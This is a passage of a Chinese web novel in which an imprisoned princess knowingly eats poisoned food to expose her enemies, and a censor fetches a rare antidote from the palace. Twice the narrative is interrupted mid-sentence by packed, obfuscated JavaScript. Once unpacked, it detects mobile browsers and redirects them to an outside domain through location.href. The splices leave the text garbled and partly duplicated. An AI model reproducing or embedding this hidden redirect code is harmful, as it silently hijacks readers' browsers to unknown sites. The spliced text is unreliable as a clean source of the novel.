可行出几步，不过半丈，他复又侧身，目光沉静而专注地望向牢栏后的姜宁：“若殿下所求，亦是海晏河清，天下承平……微臣，愿为殿下盟友。” 姜宁闻言微怔，随即心下掠过一丝近乎荒谬的涩然。 他沈之衡，是当今太子太师，若太子顺利登基，他便是未来的内阁首辅，国之柱石。他们之间，何来“盟友”之说？ 难道……仅凭他那一点若有还无、缥缈难依的情愫么？ 今岁十月，她便满二十一岁了。虽未真正尝过情爱滋味，却早已不是天真懵懂的闺中少女。 自那日宴席他仓皇离席，至今日这牢中特意备下的佳肴。他的心思，她岂会毫无察觉？ 方才唤住他时，那未竟之语几乎脱口而出——她想问，沈之衡，你是否心慕于我？ 然而，这念头只一闪，便被她的理智压下。如此直白地问出口，未免可笑。 更何况，在这深宫朝堂，情爱二字，最是虚无缥缈，不堪一击。父皇当年对母后，难道就没有过片刻真情？最终还不是败给了江山权柄，帝王心术。 默然片刻，姜宁眸光流转间带着几分戏谑与试探，轻声道：“若我要倾覆汪家，扳倒太子呢？” 沈之衡喉结微微滚动了一下。他静默一瞬，随即抬眸，目光沉静如水，声音清晰而坚定：“微臣，只遵圣意。” 言外之意，昭然若揭。他只效忠于龙椅之上的天子。至于龙椅之上是皇子还是公主，他并不在乎。 语毕，他再度躬身，行了一礼，拂袖转身，身影渐渐消失在幽暗的牢狱长廊尽头。 28. 第二十八章 暗流涌动 这刑部尚书之位，看似执掌生杀，权柄煊赫，却只怕是大凌朝堂最是窝囊的官职了。当然，也不排除是他褚庭真时运不济，太过倒霉。 他为官三十载，左右逢源，步步高升，终至一部尚书，在同僚眼中可谓风光无限。 但是自从沈之衡入主都察院以来，他这刑部便如履薄冰，举步维艰。如今摊上承嘉公主“通敌”这桩泼天大案，他更是日日如坐针毡，恨不能辞官八百回。 此刻，褚庭真瘫坐于刑部议事厅主位，对着案头堆积的两沓公文，愁眉深锁，面如死灰。他已为此案，整整三日彻夜难眠。 一沓，是公主通敌叛国的如山铁证：柔然细作密函、笔迹酷似公主的往来书信，更有前两日公主府仆从“供认”公主通敌的证词。若在往日，此等罪证，足以定案。 然而，另一沓，却是都察院接连驳回的文书，皆由沈御史亲笔批阅。字字句句，皆是质疑——“柔然细作的密函或为公主所不知”、“书信笔迹恐系伪造”、“府中证人或有收买作伪之嫌”…… 褚庭真百思不得其解。那仆从招供之时，沈御史与姚寺卿分明在场。彼时沈御史一言不发，转头便将刑部呈上的定案文书驳回。这位沈大人，怎地竟有两副面孔？ 思及另一件事，褚庭真更是气结于胸。 前些时日，沈之衡亲撰《罪公主书》，领衔弹劾公主。此文在寒门清流乃至市井坊间广为流传，早已飞出京畿之外。 褚庭真细读那篇《罪公主书》，看似辞锋犀利，字字诛心，细究之下，却处处暗藏回护之意。但是，百姓只道是一向刚正的沈御史为民请命，弹劾承嘉公主。 于是乎，如今局面便成了这般：民意汹汹，要求速速定罪；御史弹劾，敦促刑部结案；汪阁老明里暗里，施压坐实公主罪名。仿佛唯有他刑部，左右推诿，一拖再拖。 这是他褚庭真不想结案么？是他刑部办事不力么？分明是那都察院！是那沈御史！一次次驳回，要求补充证据！他褚庭真，可谓满腹苦水无处倾吐！ 正当他愁肠百结，长吁短叹之际，一名属官仓皇闯入，急声禀报：“大人！不好了！刑部衙署外，此刻聚集了数十百姓，高呼要您还公主一个公道！” 褚庭真眼前一黑，险些栽倒。这又是唱的哪一出？ 他颤声问：“哪……哪来的百姓？说清楚些！” 那属官面露难色，小心翼翼回道：“带头的自称是长安城而来，一共数十名，携有上万名长安百姓联名签署的请愿书，要为公主殿下陈情，要求您还殿下清白！” 听闻此言，褚庭真霍然起身，却又颓然跌坐回椅中，只觉胸口窒闷，气息难续，断断续续道：“快……快叫刘侍郎……去……去应付……本官……本官……” 话音未落，他头一歪，连人带椅轰然栽倒在地。 “大人！大人！快！快传大夫！！！”那属官也未见过这场面，嘶声疾呼。 自那日后，京城风云骤变，颇为热闹。 刑部那头，褚尚书与刘侍郎双双“病倒”，诸事无人主理，刑部上下得片刻清闲。公主一案，更是彻底陷入停滞。 而兵马司与大理寺这边却焦头烂额，疲于奔命，四处压下京中愈演愈烈的纷争。 自长安城那数十百姓入京，京城便如沸水入油锅，处处是口舌之争，动辄拳脚相向。 这边京城百姓高呼：承嘉公主奢淫无度，豢养男宠，勾结柔然，通敌叛国，罪不容诛！ 那边长安百姓驳斥：一派胡言！公主在长安，居不过茅屋，衣不过八套，食与百姓无异！更是常施粥济贫，亲为诊脉，乃大凌少有的仁善公主！ 京城百姓怒斥：尔等必是收买的奸细！ 长安百姓信誓旦旦：我等在长安多年，事事亲见！若不信我等数十人之言，难道连这万民请愿书也不信？若再不信，大可遣人去长安查访！ 于是乎，有京中百姓向长安亲友探问，竟证实无误。 如此争执数日，京中百姓渐有动摇之势——莫非……当真冤枉了公主？细想之下，公主回京后，除了与沈大人那点风月传闻，又携男宠张扬几回，确未见有何奢靡之举。 提及沈大人，又有百姓高呼：沈御史乃公正廉明的好官！我等信他！他既两度弹劾公主，公主必有罪！！！ 此论调刚起，沈之衡便连夜挥毫，写下《罪己书》。文中直言，他近日听闻公主在长安旧事，深感或有误会，特为两次弹劾向公主致歉。 此文一出，满城哗然。舆论风向骤转，直指公主或蒙冤，不可草率定罪，唯待圣上出关圣裁！此风一起，刑部更是噤若寒蝉，一动不敢动。 妙笔娘子则趁势推出最新一话——《弹劾实为庇护？御史大人他甚爱！》 其间仍有零星声音坚称公主有罪，立时被斥为“收了黑钱，恶意构陷”！ 与此同时，当年公主离京的真相，亦如涓涓细流，悄然自宫城中渗出。有宫人低语：当年公主并未推落小太子，实乃遭人构陷；钦天监谶言，亦为继后所为，只为逼公主离京。 此言一出，承嘉公主的遭遇顿惹满城怜惜。 说书人更是捶胸顿足，当场落泪——明昭皇后那般温婉良善之人，岂会教养出骄纵公主？当年必有冤屈！可怜殿下，八岁稚龄孤身离京，及笄之年又背负污名，心中该是何等凄苦？或许这才是她归京后纵情声色的缘由罢！ 如此纷纷扰扰，争执了数日，转眼便到了公主入狱的第二十七日，亦是圣上闭关的第二十七日。 举城翘首，只待三日后圣裁。 ———— 都察院牢狱深处，沈之衡提一壶清酒，缓步踏入铁栅之内，为姜宁斟满一杯。他娓娓道来京中这数日风云变幻，但只字未提那篇《罪己书》。 末了，他目光深深凝视姜宁：“殿下这步棋，恐怕早已布下了？” 姜宁未置可否，只抬手端起酒杯，浅啜一口，复又抬眸，眸光悠远似穿透时空：“确实……很久了。” 或许，早在长安城那些年，她便已开始有意为之。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这正是我今夜前来的缘由。”萧定权冷哼落座，“依我看，如今只剩一条路，杀了姜宁！” 汪远几乎气笑：“她人在都察院台狱，沈之衡的人日夜看守。杀她？说的轻巧。” “你们不是最擅用毒么？”萧定权目光狠厉。 “此事，汪家不再插手。如何下毒，是你的事。”汪远语声决绝。当年汪家经手此事的爪牙，早已清理干净。如今，他自是不惧。 萧定权听出汪远撇清之意，沉默片刻，咬牙道：“都察院台狱，我无人手，需你相助。” 汪远侧身，眼底掠过一丝鄙夷，内心暗骂蠢货，但还是强压怒火道：“天香楼这十几日送往台狱的吃食，你以为是给谁的？” 萧定权很快便意会到言外之意，“多谢阁老提点！” 他霍然起身，抓起斗篷就要离去。 就在他迈出书房之际，汪远冰冷的声音自身后传来：“此事若败露，你当知晓如何做。想想你萧定权留的后。” “不劳阁老费心！”萧定权头也不回，冷冷撂下一句，身影迅速融入门外浓稠的夜色之中。 29. 第二十九章 性命垂危 姜宁入狱的第二十八日。 日暮时分，都察院台狱内，司狱按例送来晚膳。近一月的看护，他已渐渐摸清姜宁的性子，并非传闻中那般骄纵，反倒沉静从容，因此，他更觉昔日殿下的污名不实。 他打开牢门的铁锁步入室内，恭敬地将食盒放在案上，按例一一摆好菜肴。 姜宁微微点头致谢，随后端起瓷碗。可筷子刚碰到那碟平日喜欢的松鼠鳜鱼，鼻尖却不自觉地动了动。 今日这饭菜，有些不对劲。 她凝神片刻，很快辨认出是鬼面草的气味。 鬼面草，蜀郡以南的彩云之地特有。晒干熬煮可入药，但若生食，则带剧毒。此毒草，本是鲜为人知。但她随师父顾方习医十年，《百草经》早已翻遍，所见药草不下数百种，对这鬼面草亦是十分熟悉，岂会认错？ 姜宁的唇角不禁掠过一丝冷嘲。汪、萧两家，果真穷途末路，狗急跳墙，只剩这等手段了。 她放下碗筷，忽地叫住正要退下的司狱，声音平静：“你们沈御史在哪？”看不出异常的情绪。 司狱回身，躬身道：“回殿下，沈大人说过今晚会来。此刻应刚从都察院下值，正往台狱这边走。” “好，你立刻去寻他，说本宫有急事相商，片刻不能耽搁。” “是！属下这就去！”司狱心头一紧，快步离去。 幽深的牢狱重归寂静，仅剩姜宁和两名在远处守着的狱卒。 姜宁从怀中摸出一粒褐色药丸。此药丸是庆阳与师父分别时，师父所赠，只言提前服下可抗百毒，但需熬过十二个时辰的剧痛。 入狱前她多了个心眼将此药丸带在身上，不曾想此刻竟真用上了还有用武之地。 既然那些人要下毒，那她自然不会让这“毒杀”落空。使其罪上再加一等，何乐何不为？她眼下只需交代沈之衡陪她演好这场戏码即可。 默算沈之衡快到了，她仰头吞下药丸，舌尖尝到一点苦味。 随即夹起一块鳜鱼，送入口中。这鬼面草，倒没什么怪味。 不过片刻的功夫，小腹便猛地绞痛起来。冷汗瞬间湿透衣衫，身体不受控制地发抖。明明是体内灼烧般滚烫，寒意却刺骨般从四肢蔓延，冷热交织，如同身在冰火之中。 她未曾想到，这毒性发作竟如此之快？！ 意识如潮水般渐渐退去，她死死咬住牙关，指甲掐进掌心，拼命想保持一丝清醒，务必要撑到沈之衡前来。 恍惚之间，感觉到眼前光影晃动，黑暗沉沉迫近。就在意识彻底消失的前一瞬，牢门处那抹熟悉的绯色身影终于闯入视线。然而她嘴唇动了动，那句“无性命之忧”的话终究没能说出半字，便软倒下去。 沈之衡刚踏进牢狱深处，只见姜宁身形一晃，直直栽倒！他瞳孔骤缩，一步抢上前去，急唤：“殿下！” 未得回应。 案上那碗中是半块被咬过的松鼠鳜鱼。答案不言自明。 他强压下翻涌的心绪，俯身探她颈间脉搏。虽然紊乱如沸水，但仍在跳动。还好！ 沈之衡深吸一口气，强迫自己镇定，一把将姜宁横抱起来，转身疾步向外，面色冷峻，对身后脸色惨白的司狱吩咐道：“有三件事，需你即刻带人去办！” 司狱慌忙应道：“大人请吩咐！” “其一，立刻去太医院，把所有当值的太医都叫来，一刻不许耽误！其二，把京城最好的几位郎中都找来，务必请到！其三，马上封锁天香楼，不准任何人出入！听清楚了吗？”最后几字，加重了语气。 “是！属下马上去办！”司狱领命狂奔而去。 沈之衡抱着姜宁快步走到衙署议事厅，脚步一顿。这里阴冷逼仄，如何安顿公主？ 思及公主府离此不过半个时辰马程。他须臾便下了决断。 他厉声叫来其他狱吏：“你们一人立刻去向少卿府上，让他带大理寺精锐速去公主府护卫！一人速去备匹快马！其余几人去帮着王司狱，务必把太医和郎中带到公主府！” “遵命！”几人身影迅速消失。 片刻，一匹快马被牵到阶前。沈之衡小心将姜宁横放在马鞍前，随即翻身上马，双臂牢牢护住她，猛夹马腹！ 那马长嘶一声，直奔公主府。 公主府朱门紧闭，封条赫然在目，门前站着一队刑部差役。刑部之人见沈之衡带着昏迷的公主疾驰而来，皆脸色大变，慌忙行礼：“参见殿下！参见沈御史！” 沈之衡在府前停住，目光直直投向为首的刑部小吏，声音冰冷：“开门！” “沈大人，这……”那小吏面露难色，想提不合规矩。 “本官说，开门！”沈之衡沉声打断，语气不容置疑。 小吏骇然，不敢再言，慌忙示意手下：“快！开门！” 沉重的大门吱呀开启。沈之衡抱着姜宁翻身下马，迈入门内浓重的黑暗。 偌大的公主府，空寂无人，只有风声穿过庭院，卷起几片落叶。 他凭着之前夜探公主府的印象，径直找到姜宁的寝殿，轻轻将姜宁放在锦榻上，仔细掖好被角，随即点亮桌上的烛台。 昏黄的光照亮一角，却仍驱不散他心头的焦灼。 榻上的姜宁无意识地蜷缩着，裹紧被子，齿间断续溢出呻吟：“冷……”额头却是滚烫灼人。 沈之衡此刻亦是束手无策，只能焦灼等待。 未过一刻，司狱带着一位须发皆白的老郎中匆匆进来。沈之衡则站在榻边，眉头紧锁。 郎中不敢怠慢，取出一方锦帕盖在姜宁腕上，凝神诊脉。司狱趁机低声向沈之衡回禀：“大人，太医院空无一人，京中其余有声望的郎中已在前来的路上了。” 沈之衡微微颔首，未言一语。对于太医院的情形，他并不意外。既然对方既下了毒手，岂会留下生路？ 郎中缓缓收手，叹息摇头：“此毒诡异，老朽……无能为力。只能开些方子，暂缓毒性。” “当真别无他法？”沈之衡的声音透着不易察觉的紧绷。 郎中沉吟半晌，抬眼道：“回大人，传闻昆仑山巅生有一种奇花，叫祝景，能解百毒，或可一试。但此物……老朽也是听人说起，从未亲见，更不知真假。” “祝景花？”沈之衡眉头紧蹙。这名字似是曾在哪见过。 他闭上眼，记忆翻涌。天元十八年冬……户部……庆阳郡贡品？！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296442|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对了！正是那时！那年他刚入户部，曾经手各地向圣上进献的生辰贺礼，恰有印象。 他霍然睁眼，沉声吩咐道：“你们在此随郎中煎药，需得寸步不离守着殿下。本官天亮前必取祝景花回！” 言罢，他决然转身，大步向外奔去。刚到府门翻身上马，向恒声已带着一队大理寺人马疾驰而至。 “怀野，发生了何事？”向恒声话音刚落。 “殿下中毒，”沈之衡急切回道，语速极快，“解药需宫里的贡品祝景花，我立刻入宫面圣。这里交给你，务必守住！”语毕，他已然消失在巷子尽头。 向恒声望着他消失的方向，那句“进宫切勿冲动”的嘱托尚未来得及说出口。 他重重一叹，随即沉声下令：“封锁公主府！严加戒备！擅闯者，格杀勿论！” 大理寺人马应声散开，将府邸围住。 皇宫那边，宫门紧闭，守卫森严。守卫见沈之衡飞马而来，欲上前阻拦。 “放行！”沈之衡勒马高声道，官袍在风中翻飞，“本官有十万火急之事面圣！若有罪责，本官一人承担！” 守卫被此气势所慑，迟疑片刻，终是退开。 沈之衡策马直入宫禁，直至元阳殿外。 殿门紧闭，李鸿顺在檐下宫灯侍立，见沈之衡匆匆而来，心下一惊，连忙迎上：“哎哟！沈大人，您怎么这个时候来了？” “李公公！”沈之衡翻身下马，语速急促，“公主殿下身中奇毒，危在旦夕，急需数年前庆阳进贡的祝景花救命！烦请公公即刻通禀陛下！”他目光灼灼，似要穿透那紧闭的殿门。 李鸿顺一脸苦相：“大人，陛下严令闭关，任何人不得惊扰，老奴也进不去啊。” 沈之衡未多纠缠，陡然提高声音，朝着殿门方向深深一揖，声音带着压抑不住的颤抖：“承嘉公主性命垂危！请陛下恩赐祝景花！” 殿内死寂一片，未有何音讯。 李鸿顺额头冒汗，他自然知道那株祝景花的珍贵，也知其在何处。但无圣旨，擅动贡品是死罪。 “……恳请陛下恩赐祝景花！”沈之衡再次高呼，声音已近嘶哑。时间流逝，他眼中焦灼如火。 不能再等了！ 沈之衡猛地直起身，一步踏上台阶，伸手就要去推那沉重的殿门。 李鸿顺大惊失色，慌忙扯住他的衣袖：“沈大人！使不得！未奉诏命，擅闯乃大不敬！” 沈之衡回头看向李鸿顺，目光如磐石般坚定：“公公，殿下的命等不起！纵使今夜陛下雷霆之怒，沈某，也甘愿领死！” 字字千钧，掷地有声。 李鸿顺见此，也知拦他不得，那只抓着他衣袖的手终是渐渐地松开。 就在沈之衡指尖即将触到殿门雕花的刹那，姜厚钦那带着一丝疲惫却威严不减的声音，沉沉穿透门扉传出—— “李鸿顺，带沈御史去取。” “老奴遵旨！”李鸿顺如释重负，躬身领命，转向沈之衡，“沈大人，祝景花收在庆元殿秘库，请随老奴速去！” 至此，沈之衡紧绷的神色方才舒展了些，对着紧闭的殿门深深一揖，声音微哑：“谢陛下隆恩！” 30. 第三十章 庄周梦蝶 “漪漪，漪漪，该醒了。” 耳畔是温柔的轻唤，姜宁费力地睁开眼，头痛欲裂。最先映入眼帘的，是母后苏灵均温婉而熟悉的面容。 姜宁骤然睁大了双眼，难以置信，声音干涩：“母后？是母后吗？母后回来看漪漪了吗？”她下意识地攥紧了眼前人的衣袖。 苏灵均浅笑着，柔声道：“母后一直都在啊。漪漪，该起身了，今日是你与驸马成婚之期，可莫要误了吉时。” 驸马？成婚？ 姜宁茫然四顾，身处似是宫中寝殿，屋内处处张贴着红艳的“喜”字，一派喜庆气象。 苏灵均见她神色迷惘，只当她是睡久了迷糊，一边扶她起身，一边温言道：“时辰不早了，快些梳洗。长英和裴落已在进宫路上。驸马此刻，怕也在宫门外候着迎亲了。” “长英哥哥和裴落姐姐？可裴落姐姐不是在庆阳吗？”姜宁抬眸，满心困惑。 苏灵均失笑：“漪漪可是睡糊涂了？裴落这孩子一直在京城，与长英成亲后便住在苏府，怎会在庆阳那等偏远之地？” 姜宁用力掐了自己一把，清晰的痛感传来。 这并非梦境。 那此前种种，宸弟夭折、母后薨逝、裴落姐姐被设计为妃……难道才是一场大梦？ 她正惊疑不定，宫人已在苏灵均示意下，捧来华美的朱红色嫁衣，为她换上婚服，引她至镜前梳妆。 镜中映出约莫十七八岁的容颜，姜宁懵懂问道：“母后，如今是哪一年？” “天元二十一年。漪漪连这都忘了？”苏灵均语气温和。 姜宁略一沉思，正是她十七岁的年纪。她又问：“那长英哥哥与裴落姐姐，是哪年成亲的？” 对于这件事，她竟全然没有这个记忆。 “这个啊……”苏灵均略作思忖，“应是天元十六年的春日。”随后又肯定道：“对，就是那年。那年京中桃花灼灼，煞是好看。镇北侯与昭毅将军还特地从西北边陲赶回京中主持婚事。” 裴落的父亲和兄长？姜宁猛地侧首：“这么说，裴家……还在？” “自然在，”苏灵均眼中带着欣慰，“裴家镇守西北，苏家坐镇东南，自你父皇登基后，便一直如此。”她看着女儿，关切道：“漪漪今日有些奇怪呢。” 姜宁眼睫低垂，声音微哑：“儿臣做了一个很长的梦。” “嗯？漪漪梦见什么了？”苏灵均柔声问。 “我……”姜宁刚要开口，门外忽地传来一个清朗的少年嗓音。 “皇姐，孤来迟了！皇姐可莫要怪罪！” 姜宸的话音刚落，苏灵均便笑道：“不迟，你姐姐才刚起身。” “哦？皇姐何时学得赖床了？莫不是今日要成亲，昨夜欢喜得睡不着？”少年语带促狭。 姜宁缓缓转过头去，便见身着四爪蟒袍的姜宸立在门口，眼神清澈明亮。 她眼眶骤然一热，泪水无声滑落，声音发颤：“宸弟？” “皇姐怎么还哭了？可是因为要与驸马成亲，太欢喜了？”姜宸边说着，边步入寝殿内。 姜宁摇摇头：“没有，只因看到你来，我便很欣喜。” 姜宸笑笑，眼中满是赞叹：“皇姐今日当真是世间最美的女子，”他顿了顿，轻哼一声，带着少年人的不满：“哼，倒是便宜了那驸马。” 驸马？对了，她的驸马是谁？姜宁脑中一片空白，对这婚事全无印象。 她望着镜中，故作不经意地探问：“宸弟眼中，我与驸马……是如何相识相知的？” “哈哈哈，”姜宸朗声大笑，“皇姐往日不许孤提，今日倒自己问起来了！” 他踱了两步，兴致勃勃道：“孤记得，应当是从天元十八年开始说起。那年，驸马殿试所作的策论，见解卓绝，文采斐然，父皇直接钦点为状元，名动京城！那道策论当日便誊抄至六部传阅，皇姐也曾见之。琼林宴上，皇姐隔着珠帘，一眼便相中了那新科状元郎。”说到此，姜宸笑意更甚。 “后来啊，皇姐常寻些艰深古籍，借‘请教’之名唤驸马入宫伴读。一来二去，宫中谁人不知皇姐心意？及笄那日，皇姐在御花园当众问驸马，可愿合奏一曲《凤求凰》？驸马未拒，父皇龙颜大悦，当即赐婚。钦天监择了几个良辰，便定下了今日。孤还未见皇姐对何人，像对驸马那般上心。” 他顿了顿，带着点小抱怨：“要孤说，驸马人品样貌才学倒也勉强配得上皇姐。若驸马能少给孤布置些课业，那就更好了！” 苏灵均闻言轻斥：“驸马所授皆是治国之要，岂能贪玩？你父皇当年比你勤勉得多。” 姜宸立马服软：“母后教训的是，儿臣定当勤勉，不负储君之责。” 在母后与皇弟的话语间，姜宁思绪飘远。京城南郊的风雪、都察院廊下的偶遇、浮月桥畔的决绝、台狱深处的合作……那些“梦中”与沈之衡的交锋历历在目。 她嘴角不禁弯起一丝笑意。那些“梦”中的相处，倒也是另一番际遇。 “对了，差点忘了贺礼！”姜宸的话拉回她的思绪。他从袖中取出一个精巧的檀木小盒递上：“恭贺皇姐新婚之喜，百年好合！” “谢谢宸弟。”姜宁接过，缓缓打开木盒，里面是一对温润的白玉佩。她续道：“我很喜欢，相信驸马也……” 话音未落，门外响起李鸿顺高亢的唱喏：“陛下驾到！” 姜厚钦步入殿中，目光落在盛装的女儿身上，带着慈和的笑意：“漪漪，今日可紧张？” 此时梳妆已成，姜宁望向父皇，眼前的他比“梦中”所见更为年轻康健。她莞尔一笑，轻轻摇头：“回父皇，儿臣不紧张。” “漪漪要出嫁了，父皇心中真是不舍。”姜厚钦眼中掠过一丝惆怅。 苏灵均起身，指尖轻搭在他手背上，温言宽慰：“漪漪又不是远嫁和亲，就在京城住着。陛下想她时，一道旨意她便进宫了。” “哈哈，梓潼说的是。”姜厚钦转忧为喜，握住苏灵均的手，夫妻二人相视而笑，温情脉脉。 此情此景，暖意涌上姜宁心头。 这一切都太美好了，美好得……让她心慌，美好得……仿佛这才是梦境。 王嬷嬷出现在门前，提醒道：“陛下、皇后娘娘、太子殿下，吉时已到，该送公主殿下上喜轿了。” “好。”姜厚钦沉稳应道。 苏灵均问：“长英和裴落可到了？” “到了到了，已在蒹葭宫外等候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303304|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”王嬷嬷连忙回答。 苏灵均颔首，脸上笑意温婉：“那便好。” 众人行至蒹葭宫门前。苏长英与裴落并肩而立，十指相扣，脸上皆是温煦笑意，虽未言语，与姜宁的目光交汇间已传递了万千祝福。 姜宁随王嬷嬷踏上铺着红毯的喜轿，前往宫门。其余人则分别乘上轿辇随行。 夕阳将天边云霞染得绚烂瑰丽。 今日……确是个吉日。姜宁望着天边，默想着。 喜轿渐近宫门，远远已能望见迎亲的队伍。 最前方骏马上，那身着朱红婚服的挺拔身影，便是沈之衡吧？他身旁那位，应是他的好友向恒声？ 姜宁脸上浮起羞涩而幸福的笑意，微微垂下了眼睫。 待喜轿稳稳停住，一个极其温柔的男声在轿外响起：“殿下今日，极美。” 姜宁顿时怔住。这声音并非是熟悉的他。 她猛地抬眸望去。轿外身着朱红婚服、含笑伸出手的陌生男子，竟不是沈之衡？ 怎么会不是他？ 为何不是他？ 天元十八年的状元、名扬天下的策论、《凤求凰》的示爱……桩桩件件，明明都与沈之衡对得上。 可眼前这名陌生的男子，并不是他！ 姜宁嘴唇微张，眼中满是惊愕。刹那间，剧烈的头痛排山倒海般袭来。 眼前天旋地转，刺骨的寒意亦是瞬间席卷全身。 她一把扶住轿撵，低头之际，忽而发觉那朱红色的婚服上，陆续浮现出点点雪花。她迅猛抬首，天际绚烂的夕阳已然消失不见，取而代之的是漫天飞扬的大雪。 一个清冷的声音仿佛穿透风雪，从遥远的地方传来：“殿下。” 是了，这才是沈之衡的声音。 姜宁强忍剧痛，挣扎起身，踉跄着跌出喜轿，重重摔在厚厚的积雪上。冰冷的触感刺骨，仿佛将她拉回京城南郊初遇的那个风雪天。 “殿下，我在等你。”那熟悉的清冷声音再次传来。 姜宁狠狠咬破下唇，浓重的血腥味和尖锐的疼痛让她再次陷入昏沉。 穿过一片黑暗后，她再次睁开了眼。 此时，眼前是熟悉的公主府寝殿。 最先映入眼帘的是沈之衡的脸，他正低声轻唤：“殿下。”目光带着难以掩饰的关切。 “驸马，你终于来接我了。”姜宁意识模糊，脱口而出。 话音方落，她立刻意识到不妥，微微一怔。 与此同时，她清晰地看到沈之衡身躯亦是霍然一僵。 两人目光相接，一时皆陷入沉默。 默然许久，姜宁哑声开口：“如今是哪一年？” “天元二十五年。”沈之衡平静回应。 姜宁苦笑，合上双眸。一番剧烈的酸楚骤然涌上心头。 她紧紧攥着被角，身子不禁微微颤抖。最终，她还是没能压抑住这股突然而来的情绪，低低哭出了声。 沈之衡见状，无声地向屋内侍立的几人递去目光，微微颔首。众人会意，悄然垂首退下。 他下意识抬起手，想要安抚姜宁，却在半空滞住，终是缓缓收回。 只是轻声道：“都过去了，殿下。” 31. 第三十一章 断无情分 待心绪稍平，姜宁才想起询问中毒后的情形。她抬眸看向沈之衡：“我中毒后，外面如何了？” 沈之衡眉峰微蹙，似在斟酌从何说起。 片刻后，他言简意赅道：“天香楼下毒之人，当夜自裁。但从他近日走动的关系和搜寻出来的证据来看，均指向萧家。” “果然。”姜宁唇角微弯，并无意外。顿了顿，又问：“汪家可有牵扯？” “暂无实证。”沈之衡答得干脆。 “嗯。”姜宁低应一声。 汪远此人，终究太过谨慎。汪家根基，仍难撼动，眼下或许只能尝试从齐任东处撕开缺口。 她目光转向沈之衡，带着一丝探询：“户部齐尚书那边，沈大人迟迟未动，是顾念旧情么？” 沈之衡迎上她的视线，语气沉静：“齐尚书位高权重，牵涉甚广，户部多名官吏皆在网中。此事，非圣上旨意不可轻动。” 姜宁微微颔首，不再追问。 沈之衡凝视着她，喉结微动，忽道：“微臣……有愧。” 姜宁侧首，眸带不解：“沈大人何愧之有？” “天香楼膳食……”他声音微涩，“是微臣疏忽了。” 他本想让她在牢狱之中舒坦一些，却不想招来这毒杀的祸端。 听闻是此事，姜宁不禁轻笑一声，目光悠悠转向床榻帷幔，语带慵懒：“沈大人不必自责。那饭菜有毒，本宫入口前便知。那夜，本宫是故意服下，只为坐实下毒之人的罪名罢了。” 话音已落，却未闻回应。姜宁转眸望去，只见沈之衡眼角已微红。她试探地轻唤：“沈大人？” 沈之衡的目光直直锁住她，一字一句，皆是克制，他带着压抑的怒意，倏然开口：“故意服下？殿下可知，那夜何等凶险？若非七年前庆阳郡恰巧进贡了那株祝景花，微臣不敢担保，殿下此刻还能否这般轻描淡写地说出‘故意’二字？！” 忆及那夜，他犹觉后怕。 姜宁微微一怔。 沈之衡素来清冷自持，这般失态，她从未见过。那怒意，那质问，似在怨她？ “我……”姜宁唇瓣微启，带着一丝心虚解释道：“那夜，本宫先服了随身携带的解毒药丸，性命无虞，只需熬过十二时辰的痛楚。只是未料到鬼面草毒性发作如此迅猛，因而未来得及提前告知沈大人。” 说到底，那不过一场意外罢了。 “万一呢？”沈之衡声音陡然转冷。 “什么？”姜宁蹙眉。 沈之衡定定望着她，语气冰冷：“万一那药丸无效呢？殿下布局的每一步，都要以性命为注么？” 浮月桥纵身一跃，宴席上以男宠引祸，台狱中故意服毒……桩桩件件，她皆是以命相搏！ 她或许自认为算无遗策，可曾想过那万一？！ “沈大人是在质问本宫？”姜宁眉梢微挑，尾音拖长。 她面色骤然凌厉，像个刺猬般带着警惕，冷笑道：“沈之衡，你没有任何资格这般质问我。本宫行事，还轮不到你沈御史置喙。你需明白，我们之间，不过交易。纵使曾有合作，也断无半分情分可言！” 断无半分情分？ 沈之衡唇角泛起一丝苦涩，眼中亦是掠过失落。 是了，姜宁待他，确无情分。她眼中，他不过是棋子，是可供逗弄利用的臣子。 唯他沈之衡，愚不可及，动了心念。 他深吸一口气，压下翻涌心绪，声音恢复冷硬：“陛下昨日已出关，传旨殿下苏醒后即刻入宫面圣。” 言罢，他对着姜宁深深一揖，礼数周全，“微臣告退！”随即转身，步履决绝。 “沈大人留步！” 沈之衡身形微顿，侧首：“殿下还有何吩咐？” 姜宁抬眸看他：“本宫府中之人，何时可放？苏七，本宫需他办事。” 沈之衡低眸，唇边勾起一抹自嘲弧度，复又抬眼，声音平静无波：“待殿下通敌之嫌洗清，都察院自会放人。” 语毕，他不再停留，径直离去。 姜宁望着他消失的背影，一股无名火骤然从胸腔窜上额头。 他竟敢如此回话？！ 他又在置什么气？！ 除了合作关系，难道还妄想什么情分么？！ 过了许久，姜宁胸中那股无名火方才渐渐平息。 她尝试缓缓起身，身体已无半分痛楚，反倒透着一股奇异的爽利。暗自想着，待回头定要向师父问清那药丸的来历。 足尖触及冰凉的地面，寒意令她神思又清明几分。她自行梳洗妥当，随后扬声吩咐：“来人，备车。本宫要进宫面圣。” 门外侍从应声：“回殿下，沈御史方才已吩咐备下，车马已此刻正在府前等候。” ？ 呵，谁稀罕他的好意？ 姜宁唇角不禁浮过一丝冷嘲。 ———— 庆元殿外，未时刚过。 李鸿顺侍立阶前，见姜宁前来，连忙躬身行礼：“殿下凤体可好些了？” 姜宁莞尔一笑：“劳公公挂心，已无碍了。” 